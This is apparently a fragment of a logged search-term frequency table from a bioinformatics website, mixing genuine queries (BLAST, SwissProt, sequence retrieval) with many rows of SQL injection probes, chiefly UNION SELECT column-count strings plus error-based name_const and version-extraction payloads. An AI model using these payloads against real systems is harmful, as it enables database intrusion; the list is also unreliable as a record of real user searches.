har(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45) -- |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45) -- |
2 |
| gene id' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,10 and 1=1 |
2 |
| variant1111111111111 union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45),char(45,120,51,56,45,81,45),char(45,120,51,57,45,81,45),char(45,120,52,48,45,81,45),char(45,120,52,49,45,81,45),char(45,120,52,50,45,81,45),char(45,120,52,51,45,81,45),char(45,120,52,52,45,81,45),char(45,120,52,53,45,81,45),char(45,120,52,54,45,81,45),char(45,120,52,55,45,81,45),char(45,120,52,56,45,81,45),char(45,120,52,57,45,81,45),char(45,120,53,48,45,81,45) -- |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45) -- /* order by 'as |
2 |
| structures complexes |
2 |
| engine |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45) -- /* order by 'as |
2 |
| protein database |
2 |
| amino acid domain classification gene protein kinase domains |
2 |
| regex |
2 |
| blast_ddbj |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45) -- /* order by 'as |
2 |
| query sequence working draft sequence human mrna protein products |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45) -- /* order by 'as |
2 |
| (select (case when (3710=7967) then 3710 else 3710*(select 3710 from information_schema.character_sets) end)) and 1=1 |
2 |
| identified" and "x"="x99999" union select unhex(hex(version())) -- "x"="x' |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45) -- /* order by 'as |
2 |
| sequence retrieval |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45) -- /* order by 'as |
2 |
| sequence+modelling |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45) -- /* order by 'as |
2 |
| no~/yybbs.cgi |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45) -- /* order by 'as |
2 |
| eutils |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45) -- /* order by 'as |
2 |
| sdc4 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45) -- /* order by 'as |
2 |
| protein+sequencing+analysis+and+1>1 |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45) -- /* order by 'as |
2 |
| swissprot |
2 |
| retrieve |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45) -- /* order by 'as |
2 |
| version |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45) -- /* order by 'as |
2 |
| protein+sequencing+analysis99999'+union+select+unhex(hex(version()))+--+'x'='x |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45) -- /* order by 'as |
2 |
| conduct+sequence+similarity+searching+against+complete+proteome+or+genome+databases+using+the+fasta+programs. |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45) -- /* order by 'as |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45) -- /* order by 'as |
2 |
| primers |
2 |
| http://www.ebi.ac.uk/soaplab/services/phylogeny_molecular_sequence.fseqboot |
2 |
| searching and 1=1 |
2 |
| data~' or (1,2)=(select*from(select name_const(char(111,108,111,108,111,115,104,101,114),1),name_const(char(111,108,111,108,111,115,104,101,114),1))a) -- 'x'='x |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45) -- /* order by 'as |
2 |
| blast protein |
2 |
| variant1111111111111' union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,45),char(45,120,49,49,45,81,45),char(45,120,49,50,45,81,45),char(45,120,49,51,45,81,45),char(45,120,49,52,45,81,45),char(45,120,49,53,45,81,45),char(45,120,49,54,45,81,45),char(45,120,49,55,45,81,45),char(45,120,49,56,45,81,45),char(45,120,49,57,45,81,45),char(45,120,50,48,45,81,45),char(45,120,50,49,45,81,45),char(45,120,50,50,45,81,45),char(45,120,50,51,45,81,45),char(45,120,50,52,45,81,45),char(45,120,50,53,45,81,45),char(45,120,50,54,45,81,45),char(45,120,50,55,45,81,45),char(45,120,50,56,45,81,45),char(45,120,50,57,45,81,45),char(45,120,51,48,45,81,45),char(45,120,51,49,45,81,45),char(45,120,51,50,45,81,45),char(45,120,51,51,45,81,45),char(45,120,51,52,45,81,45),char(45,120,51,53,45,81,45),char(45,120,51,54,45,81,45),char(45,120,51,55,45,81,45) -- /* order by 'as |
2 |
